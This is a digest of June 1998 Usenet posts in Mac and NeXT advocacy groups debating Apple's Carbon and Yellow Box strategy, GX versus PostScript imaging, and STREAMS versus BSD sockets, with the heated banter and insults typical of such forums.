Message-ID: <q36f1.12157$Kx3.12571876@news.rdc1.sdca.home.com>
Date: Tue, 09 Jun 1998 08:07:50 GMT
NNTP-Posting-Date: Tue, 09 Jun 1998 01:07:50 PDT
Organization: @Home Network
In <rmcassid-0806982357100001@dialin33413.slip.uci.edu> Robert Cassidy wrote:
> In article <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
> > That's one of prices paid for backward compatibility. They become
isolated
> > at the level of skill and by architecture knowledge. Carbon guys keep
Mac
> > 8.x API's plus the new Carbon calls. Java brewers get the whole
environment
> > limited only by Java and their knowledge/skill thereof. Same with Obj-C
> > hands except these guys need to mix Java + Obj-C going forward. I
haven't
> > seen any of them cringing...
>
> Do Java brewers get Carbon?
Not that I've heard, why would they want Carbon API's? If there is some
inter-application communication concerns you need aired, this would be a more
precise path to getting answers.
> I haven't gotten the sense that Carbon will be
> accessable to Java except through the MS JBindery crapola that Apple is
> embracing. Not that it won't work, but it's making a pit in my stomach
> that I'm really starting to hate.
>
This is for Apple to announce. Good question. I don't know.
> What this is all starting to remind me of what the disaster that the Mac
> toolbox turned into. A good chunk of the problems that Apple had with the
> toolbox stemmed from the fact that there were so many of these API twists
> and turns and wrappers that came along and just made developers lives
> hell.
>
> The Toolbox originally had a Pascal interface on it. Then C/C++ came out
> of the swamp and Apple needed to support it. So there were C and C++
> interfaces mushed up with the Pascal stuff. Things like GX were C++ but
> had a C interface. There was the CFM with it's oddness. OpenDoc with it's
> oddness. And so on, and so forth. After a while, there were so many
> screwed up APIs becuse the toolbox was comprised of components written in
> about 5 different languages, each with it's own preferences on how things
> should be done - some of which were not compatable with the language you
> wanted to use! It flat out sucked.
>
> Granted that was BJ (before Jobs) and the world was a much less ordered
> place then. But here we are, back with the C/C++/Java/ObjC procedural/OO
> mish-mash with everything having 3 wrappers on it and all this crap is
> *still* going to be cross-platform? And Apple won't find that their
> developers collapse under the weight of all this support in exactly the
> same way the Microsoft coders have?
>
> It just looks like a big mess to me.
>
>
IF Apple promises older Mac apps FirstClass citizenry alongside MacOSX apps,
then YES big mess ahead. On the otherhand if Carbon is only a bridge to
MacOS X for older legacy Mac apps, then NO. I did read where if Mac
Developers want access to all the new technologies that they'd have to
rewrite to the "new" API's, Obj-C/Java. That's clean.
> > > YB developers work in a considerably different structure than Carbon
> > > developers can take advantage of, and contributions by Carbon
developers
> > > will probably be seen as having little value to YB developers due to a
> > > weak OO structure. All oars should be pulling in the same direction
> > > here...
>
> > No big deal... Same direction, different strokes.
>
> But neither party able to efficiently contribute toward the efforts of the
> other. So will the next MiscKit be Carbon? YB? Both? Will developers be as
> good at wrapping all this stuff up so everyone can use it as Apple
> promises?
>
Nothing in the MiscKit is called by Carbon. MiscKit is Obj-C and can be
Javacized ala YB. MiscKit will not be a Carbon resource.
Information overload... too much information, too little time to absorb. I
see the problem now. I'll not add to it further.
bye...
-r
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 09:05:16 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6litsc$37f$1@sun27.hrz.tu-darmstadt.de>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115> <357C5D13.B2FEFA62@bcomp.com>
Alan Frabutt <afrabutt@bcomp.com> wrote:
>Damn, just when a lurking observer starts thinking people are treating
>Lawson _too_ rudely, he posts this *level* of drivel.
Well, I wouldn't at all be surprised if "Lawson English" turned out to
be a heuristic algorithm, using Markov chains and a vast library of
graphics related technical technical documents in order to implement
a USENET version of Eliza.
Accoring to a recent article at Macosrumors.com, localized versions
"Lawson German" and "Lawson French" are in late alpha, and currently
at the Turing test stage.
:-)
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115> <357C5D13.B2FEFA62@bcomp.com> <slrn6np04n.2r7.jason@jhste1.dyn.ml.org>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <357d3c47.0@206.25.228.5>
Date: 9 Jun 98 13:44:39 GMT
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Hmm? Lawson's right; the NeXT people are arrogant, and almost
> never willing to admit that there might be a better alternative
> to the NeXT way of doing anything. Whether GX is better is really
> beside the point.
Well, I might as well live up to the stereotype. That's pretty
f'n dimwitted there buddy. If GX really sux, it would be rather
dumb to say an alternative NeXT system is bad. I think the problem
most people have with the vast majority of NeXT people is they are
really reasonable and right the great majority of the time; they
are right because the great majority of them are not only highly
educated (which means little in a vacuum), but also highly trained
in many of the most sophisticated technologies that leave their
mac counterparts back in the stone age of development and technology.
This has a way of generating resentment, and then we see bs "arrogant"
claims of crap above. Myself withstanding, the majority of NeXT
users have gone out of their way to help and teach pretty freakn
ungrateful, resentful, ego bruised, inferiority complexed shmo's,
and to prove that no good deed goes unpunished, these dweebs lived
up to their whiney, passive aggressive, BOZO stereotypes with few
exceptions.
To boot, when NeXT folk acquiesce and say something might be better,
no one hears this admission at all, I guess they are deafened by
such reasonable concerns that although something maybe superior,
it's not a pragmatic or practical implementation.
> Whenever you find that you are on the side of the majority, it
> is time to reform.
> -- Mark Twain
Hmmm, NeXT people were in the great minority, now forced into the
majority of apple users.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Date: Tue, 09 Jun 1998 07:02:45 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Message-ID: <joe.ragosta-0906980702460001@elk32.dol.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6lfhs4$11oq1@odie.mcleod.net> <macghod-0706982344290001@206.133.187.99> <kindall-0806981248260001@nic-c10-177.mw.mediaone.net> <slrn6np9br.s2d.sal@panix3.panix.com>
In article <slrn6np9br.s2d.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Mon, 08 Jun 1998 12:48:26 -0400, Jerry Kindall
<kindall@mail.manual.com> wrote:
> >Doesn't matter why the customers react the way they do. You can't say to
> >a customer, "you're overreacting, buy our product anyway" and you can't
> >say to yourself, "they're overreacting, we don't need them."
>
> True.
>
> But does a customer have to know that you built the App with YellowBox? It
> will run on NT, and look just like an NT app. Who cares what it is built on?
True. Except for one thing. You need to have the YB libraries installed.
At the current stage, this is a problem because Apple is asking a license
fee for YB on Windows to pay for the license fees they are paying. If the
application vendor pays the license fee and I buy two YB apps, I've paid
for YB twice. If the user has to pay it, then the application vendor can't
provide the libraries with their CD.
I hope they are able to eliminate the YB fees soon. That is the major
drawback to YB on Windows.
>
> Ditto for WebObjects. When you build a web site for someone, do they have to
> know what tools you used? Sell the App and the quick turn around, not the
> tools you used to build it.
>
> At one point Visual Basic, and RAD products like PowerBuilder and Delphi had
> reputations as being tools for building slow and buggy Apps. Now RAD tools
> are getting to be the rule rather than the exception in big companies. I can
> not think of any major C++ project that has started in the past 18 months
> at my current job. Everything new is being done in Java and RAD tools.
>
> --
> sal@panix.com
> Salvatore Denaro
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 9 Jun 1998 11:24:22 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6lj616$8e9$1@news.cs.tu-berlin.de>
References: <6lfrn8$11sa3@odie.mcleod.net> <B1A0D422-1CA23@206.165.43.7> <6li3n7$12t24@odie.mcleod.net> <6li85t$gou1@odie.mcleod.net>
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"Michelle L. Buck" <buck.erik@mcleod.net> writes:
[...]
>Now, if you Apple is saying that they are completely reinventing QuickDraw,
>changing its imaging model and metaphor, and providing all of the
>operations supported by PDF, why are you calling it QuickDraw ?
For the same reasons they are calling Rhapsody 2.0 MacOS X?
> Would it share one line of code with current QuickDraw ?
Probably not.
Marcel
From: mike <troll@net-link.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 09 Jun 1998 07:29:57 -0400
Organization: Syntactic Conventions?
Message-ID: <357D1CB5.349719C0@net-link.net>
References: <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <35ac3fa0.4715635@news.supernews.com>
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T. Max Devlin wrote:
>
> pyeatt@satchmo.cs.colostate.edu ( Larry Pyeatt), on 8 Jun 1998 05:21:24
> GMT,
> >In article <6l72if$mp9$1@news.smart.net>,
> > kaz@smart.net (KAZ Vorpal) writes:
> >> If it is bullshit to say that what hurts microsoft hurts the industry,
> >> then all of the attacks on Microsoft are a lie in the first place.
> >
> >Is it just me, or is something wrong with the logic in that statement?
> >Lets see,
> >1) A big bully is beating up all the kids on the playground.
> >2) The teacher tells the bully to go to the principal's office
> > to have his backside paddled.
> >3) The bully says, "What hurts me, hurts the playground. I'm going to give a whipping to everyone here since someone snitched me out."
> >4) Along comes Mr. KAZ Vorpal and remonstrates the teacher and
> > the other students for lying about the bully.
> >
> >I think Mr. KAZ Vorpal has a screw loose.
>
> Yes, I thought the damn thing didn't make sense the first time I read
> it, too. But your use of analogy confuses me, and I think obfuscates
> the issue.
>
> "If it is" = If
> "bullshit" = incorrect
> To say that what hurts microsoft hurts the industry" = rote
> "then" = then
> "all of the attacks on Microsoft are a lie" = {assuming the attacks
> mentioned are the anti-trust case} breaking of a monopoly would be bad
> for the industry the monopoly is in.
>
> Well, I guess it comes down to if you believe an unnatural and unethical
> monopoly (as opposed to "technical" or physical monopoly) then the
> statement is indeed logical. So _your_ statement
>
> "I think" = logical qualifier for debate
> "Mr. KAZ Vorpal" = KAZ
> "has a screw loose" = is incorrect to an incredible degree and
> incredible amount of time
>
> is also a logical statement, if you believe that anti-trust law is
> valid. Of course, if you believe anti-trust law is valid, then you
> already knew KAZ has a screw loose, eh?
>
> --
>
> T. Max Devlin
> Hi-TECH Connections/Eltrax Systems
> *****************************************************
> - Opinions expressed are my own.
> Anyone else may use them only in
> accordance with licensing agreements. -
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 09:35:24 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6livks$9m9$3@ns3.vrx.net>
References: <slrn6np04n.2r7.jason@jhste1.dyn.ml.org> <B1A1F188-8F045@206.165.43.40>
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Cc: english@primenet.com
In <B1A1F188-8F045@206.165.43.40> "Lawson English" claimed:
> The real issue isn't whether or not GX is somehow better, but the fact that
> it is available on all color Macs running System 7 or better.
no it's not. It's _potentially_ available on SOME Macs running System 7 or
better. Those include the set of machines with over 4 meg of RAM on one end,
and those that installed it on the other. This represents, by Apple's own
old numbers, some 2% of the machines out there.
> larger market to target than Carbon, and it provides a coherent
> resolution-independent graphics and printing architecture for for virtually
> all Mac users, which is definitely something that Carbon and YellowBox
> graphics are not going to do.
*coff*
Maury
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 9 Jun 1998 14:51:08 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6lji4s$pns$1@new-news.cc.brandeis.edu>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu <rmcassid-0806981539290001@dante.eng.uci.edu>
In article <rmcassid-0806981539290001@dante.eng.uci.edu> rmcassid@uci.edu (Robert Cassidy) writes:
[snip]
>Again, something is missing here. The problem is that the introduction of
>Carbon is very good, but incomplete long-term. Carbon will not allow MacOS
>X to advance in any efficient, innovative way and at the same time, MacOS
>X will never gain adoption to even have a chance at advancing without it.
If the carbon MacOS Toolbox is thread-safe and/or supports memory
protection at least between apps, and is fully PPC native, it would be a
big advancement in the MacOS world (not anything important for YB folk...)
Browse through the pages of MacTech sometime, especially the back. Apple
mostly backed out of the developer tools market these last few years. Just
imagine Apple essentially saying, "Ok, everything that was MacOS and all
related third-party tools and services are now obselete, and that means
you too Metrowerks, yeah we don't care if you saved our hides back in '94
at the introduction of PPC, you all can just pack up and leave." I mean,
that's what Rhapsody/YB does. It basically puts a friggin' TON of people
out of luck who've been around helping Apple for a long time. Apple
cannot just shoot them in the back or send them packing.
The MacOS -> YB transition must be a slow and gradual shift for
marketplace reasons.
And I'm willing to let Apple keep some of its strategy under wraps if it
means someday down the road I get to see them get up and take down MS or
any NIH-mentality company.
>Furthermore, I don't see that Apple is offering anything to *new*
>developers that is overly exciting. Calling YB with Java is nice, and YB
>allows nice, rapid development, but YB doesn't go anywhere but Mac and
>Windows. BFD. That's not overly interesting to the Java world, IMO.
Four years ago Sun came and made a presentation on Java to Brandeis
University, and my cosci prof. came away very underwhelmed. Java is not
so much about good tech., as it is the buzzword du jour, and clearly
buzzwords impact certain markets. I see Apple tying Java with YB to be
significantly better than things like MS' J++ or Active X. Java+YB is
arguably the best of both worlds.
[snip]
>Old OpenStep developers get a larger market, but it's not the market that
>their products are targetted towards. Ask Erik Buck about that. MacOS X is
>not a strategy for the enterprise market. So that's not overly interesting
>to the OpenStep world, IMO.
Apple the company is not in a position right now to publicly target
Enterprise - it would frighten a LOT of long-time MacOS developers. Their
first priority is to stabilize their existing market before expanding.
The press still hasn't completely stabilized, but they are coming around
slowly. Apple cannot move as quickly as we'd all like in all directions.
>And *none* of these things are interesting to the Win32 world. If there is
>a strategy here, either we haven't seen it, or it isn't a particularly
>good strategy. I'm thinking (maybe just hoping) it is the former...
People develop for Win32 because they have to or because they don't know
any better. How would you propose switching them over to anything? You'd
have to educate them first. The current installed base of Win32
developers are to a certain extent a lost cause, unless you map a
Win32-like API (like WINE, OS/2 Warp, etc.) on top of Rhapsody/MacOS X,
like Carbon is on top...
--
Nathan Raymond
http://www.everythingmac.com
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Vote MJP for Usenet KOTM
Date: 9 Jun 1998 15:04:21 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nqjnl.562.sal@panix3.panix.com>
Are you sick and tired of this petty blowhard?
Are you disgusted with his childish and belligerent insults? With is
pompous attitude and self righteous tone? Doesn't is seam that just as
you are sure he has reached gutter-level you find that he is digging
into the sewer?
Have you wished he would just shut up and go away?
Now you can do something about it!
Head on over to alt.usenet.kooks and vote MJP for kook of the month.
This is an honor he is truly worthy of. Repost your favorite of the many
rants he has posted. Pick any of the great "looney" posts that he has
made. Have some fun at the jerk expense.
Don't wait! Do it now!
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 16:19:24 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nqo4c.562.sal@panix3.panix.com>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115> <357C5D13.B2FEFA62@bcomp.com> <slrn6np04n.2r7.jason@jhste1.dyn.ml.org> <6li1b3$bgl$1@crib.corepower.com> <slrn6np2pe.2vc.jason@jhste1.dyn.ml.org> <6livgp$9m9$2@ns3.vrx.net>
On 9 Jun 1998 09:33:13 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
> Fair enough, but I rest easy in the knowledge that OS-X should be in every
>way better than Linux...
It should be better then a free system. If it isn't who would be willing to pay?
(SCO should keep this in mind)
>a) better file system (4.4's stackable drivers)
Hasn't this been in Linux since the 2.x kernels?
>b) better networking
Agreed. NetInfo is much nicer than nis/nis+
I would like to see Apple port it to NT and include it in the YB runtimes.
>f) real application list
For such a small market, I am amazed at the quality of the Apps.
>g) I get to run all my Mac software too
Office?
> You can be pissed off at Apple, or you can be happy about it. Don't let
>your pride swing you to the wrong side.
Make your decsion based on the product and what it does, not on "religion".
Don't get suckered into the cult of Steve, Bill or Linus.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 9 Jun 1998 16:44:28 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nqpjc.562.sal@panix3.panix.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <slrn6np32f.jsi.sal@panix3.panix.com> <rmcassid-0806982238380001@dialin33413.slip.uci.edu>
On Mon, 08 Jun 1998 22:38:37 -0800, Robert Cassidy <rmcassid@uci.edu> wrote:
>In article <slrn6np32f.jsi.sal@panix3.panix.com>, sal@panix3.panix.com
>(Salvatore Denaro) wrote:
>> On Mon, 08 Jun 1998 12:46:40 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
>> >Right. But in the mean time, YB is still tied to Obj-C. You can write in
>> >Java, but you can't really extend YB properly without wrapping things up
>> >nicely.
>> Not true.
>Thanks. That helps fill in a gap. More still remain, however. Like YB <->
>Carbon issues.
Someone from AAA+ software (the makers a a fine Hypercard like system called
Joy) posted a message tot he Rhapsody Dev list about the use QTML APIs from
Joy. He was able to run QuickTimePlayer.App from Joy and control it. I think
he was also able to call the QTML private framework (I'll look this up)
I think you *could* mix Carbon and YB APIs. Once you do that, you end up with
a non-portible App. It won't run on MacOS9 (Since it lacks YB) and it won't
port to Windows (since it lacks Carbon)
>> I would say it is the other way around for new development. You can get
>> up and running in IB+PB in a couple of days. You can have a decent DB
>> front end in a day and a half from opening the box.
>Maybe for *really* new development. A lot of the developers that Apple is
>courting know the Mac toolbox forward and backward - with big chunks of IM
>permanently etched in their brains.
Ok. I see your point. But for the extra effort of learning YB you get a
free windows version of your App. In many cases it might be worth learning
YB just to be able to target the 95% of the market you might miss with
a carbon App.
>And for DB front end, I agree completely. Next really did a nice job
>there. But that's a whole different animal from a lot of what developers
>need to do.
I work on DB front ends. That is 95% of my job. Any statements on YB from
me should take that into account. EOF knocks a 1/3 off the time it takes
me to build a mid sized App. And I can sit down with a non-technical user
and *show* him what the data looks like. With IB I can sit with him and work
out the best way to place data on the screen , and have he changes just
pop up and work. They only tool that comes close is Borland's Delphi.
> And not all parts of the Rhapsody APIs and tools are as nice
>as EOF and EOModeler, IMO.
IB could use a cleanup. And I've never been to crazy about the file browser.
It's ok, I guess.
>The YB world is different. It is structured different. It interacts
>differently. Things that might seem to be trivial to do aren't (because I
>think in a Mac Toolbox way) and things that seem impossible become
>trivial. Simply because it is different requires some prep time to go
>anywhere.
<mantra>
Simple things should be simple. Complex things should be possible.
</mantra>
I would think that the Mac toolbox has moved away from that in the past decade.
--
sal@panix.com
Salvatore Denaro
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 9 Jun 1998 09:34:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A2B1F6-5402D@206.165.43.26>
References: <rmcassid-0906980856340001@dante.eng.uci.edu>
To: "Robert Cassidy" <rmcassid@uci.edu>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Robert Cassidy <rmcassid@uci.edu> said:
>There was never any indication that running YB on a client OS on Apple
>hardware would be so incredibly resource specific. The fact that their
>server OS has more lenient hardware requirements than the client OS that
>will follow from it is, well, unacceptable.
>
>Apple's making a fine case for NT adoption for many of us.
>
That was part of the deal with MS: make Apple's OS strategy so unreliable
that everyone decides to move to NT, instead. The plan is for Apple to
become the supplier of a highly sophisticated development framework for NT
and abandon the hardware and OS business entirely.
It's the only scenario that makes sense of Jobs' recent actions.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 16:40:03 GMT
Organization: P & L Systems
Message-ID: <6ljoh3$m9t$1@ironhorse.plsys.co.uk>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115>
<357C5D13.B2FEFA62@bcomp.com> <slrn6np04n.2r7.jason@jhste1.dyn.ml.org>
<6livam$9m9$1@ns3.vrx.net>
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Cc: maury@remove_this.istar.ca
In <6livam$9m9$1@ns3.vrx.net> Maury Markowitz wrote:
> In <slrn6np04n.2r7.jason@jhste1.dyn.ml.org> Jason S. claimed:
> > Hmm? Lawson's right; the NeXT people are arrogant, and almost never
> > willing to admit that there might be a better alternative to the NeXT
> > way of doing anything.
>
> I'm a Mac-head, have been for almost a decade now. Never once looked at
> NeXT's stuff until Apple bought them.
>
> The NeXT people are right. You can fear that or you can embrace it. I
> choose the later.
>
It was interesting a couple of days ago to hear one of Apple's own
evangelists saying that he used to believe that Apple had the best
localisation of any OS provider... until Apple bought NeXT, when he found out
he'd been wrong up to that moment.
Best wishes,
mmalc.
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: 7 Jun 98 23:46:04
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun7234604@slave.doubleu.com>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
<simpsonh-0406982244370001@ppp-5024.dca.net>
<slrn6neppp.ea4.sal@panix3.panix.com>
<RVerlinde-ya02408000R0506981027250001@news.bart.nl>
<jayfar-0506980851440001@chestnut1-20.slip.netaxs.com>
<SCOTT.98Jun5112748@slave.doubleu.com> <6l97qi$6ue$2@ns3.vrx.net>
In-reply-to: maury@remove_this.istar.ca's message of 5 Jun 1998 16:53:38 GMT
In article <6l97qi$6ue$2@ns3.vrx.net>,
maury@remove_this.istar.ca (Maury Markowitz) writes:
In <SCOTT.98Jun5112748@slave.doubleu.com> Scott Hess claimed:
> I need to emphasize that. It's not a question of using the
> current OT STREAMS implementation versus the BSD4.4 sockets
> implementation. It's a question of using the BSD4.4 sockets
> implementation versus writing a new STREAMS implementation on a
> BSD4.4 substrate.
Ummm, isn't it a sockets-over-STREAMS vs. STREAMS-over-sockets
issue?
I can only assume we mean the same thing when we say "STREAMS". You
can implement a BSD sockets-alike layer over STREAMS, but you _can't_
implement a STREAMS-alike layer over sockets. I'm not even sure
"STREAMS-over-sockets" makes sense. The whole point of STREAMS is
that you can insert new functionality at arbitrary layers. You can't
just emulate those layers. It's not a problem for sockets, because
there aren't any sockets layers other than the top (client) and the
bottom (device driver).
Of course, they can probably provide reasonable STREAMS lookalike
functions at the _client_ layer. But from the client layer, the
differences between STREAMS and sockets are hard to see, they're just
APIs for speaking TCP/IP.
Or when you refer to the BSD substrate you mean the "OS" itself.
If it's the later keep in mind that it's NOT a BSD OS, but a Mach
OS, and it's already supporting MPS based STREAMS as we speak.
Mach is not an operating system in the traditional sense of the word.
Namely, Mach itself doesn't provide sockets _or_ STREAMS. In
Rhapsody, when you are talking about the operating system, you are
talking about a BSD variant running over a Mach microkernel.
So even if there is a STREAMS version running in an OS based on a Mach
microkernel, that doesn't necessarily do you any good. It would still
have to be integrated into the BSD variant Apple is using.
Furthermore, sockets are at the core of BSD, and replacing them isn't
going to be easy.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 8 Jun 98 00:08:30
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun8000830@slave.doubleu.com>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
<simpsonh-0406982244370001@ppp-5024.dca.net>
<slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In-reply-to: NOSPAMmbkennelNOSPAM@yahoo.com's message of 5 Jun 1998 18:13:06 GMT
In article <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel) writes:
On Thu, 04 Jun 1998 22:44:36 -0400, Homer Simpson
:If it helps I was not too pleased with the dropping of STREAMS in
:favor of sockets, another very bad move in my book.
Streams isn't being ''dropped'', it would have to be reprogrammed
and included, as it wasn't in OpenStep.
Explain what it does better than sockets, and why these abilities
should be in a kernel-level interface and not an OO API. {this is
not a flame, btw!}
The unfortunate side effect of The Great STREAMS Versus Sockets Debate
is that a _lot_ of people are arguing about it, none of which knows
much about either, beyond the client interface.
From a client-centric point of view, the differences between STREAMS
and sockets are negligable. Wrap them up in an object and forget
about it.
In the implementation is where the differences lie. Sockets provides
two places to easily insert new functionality. You can extend above
the client layer, or you can write a device driver.
Under STREAMS, you can layer pretty much arbitrary functionality at
arbitrary points. Think of STREAMS as a bidirectional set of Unix
filters. You can insert new filters in the middle of the default
filters to subtly modify how things work. Or, you can write filters
which completely redirect the flow of data.
Say you wanted to build a VPN (Virtual Private Network) over the
Internet between a set of machines. If they ran STREAMS, you could
insert a new layer in the middle which allowed encryption/decryption,
without having to screw with the device drivers or the higher levels
of the TCP stack. Meanwhile, with sockets you would have to implement
it in the client layer, or wait for your vendor to add it to the TCP
stack.
STREAMS potentially provides similar capabilites for working with
networking protocols that DriverKit provides for writing drivers.
That said, it doesn't concern me all that much that it's missing,
because when it comes down to it being able to screw with networking
protocols isn't useful in _that_ many cases. When it's useful, it's
_very_ useful, but only a vanishingly small set of installations need
anything more than TCP/IP with support for a small set of hardware
connections,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 7 Jun 98 23:49:16
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun7234916@slave.doubleu.com>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>
<6lfhs4$11oq1@odie.mcleod.net> <357B04DC.5085@earthlink.net>
In-reply-to: Steve Kellener's message of Sun, 07 Jun 1998 22:25:08 +0100
In article <357B04DC.5085@earthlink.net>,
Steve Kellener <skellener@earthlink.net> writes:
Michelle L. Buck wrote:
> Many companies will NOT buy any Apple product ever again even if
> they used to buy it from NeXT. Being from Apple makes it
> tainted.
So what does that make a Microsoft product? The Plague?
The plague is too obviously bad.
More like an STD (Sexually Transmitted Disease). At the point you
aquire it, it's not obviously a problem. Later you regret it, but
it's much to late by then,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
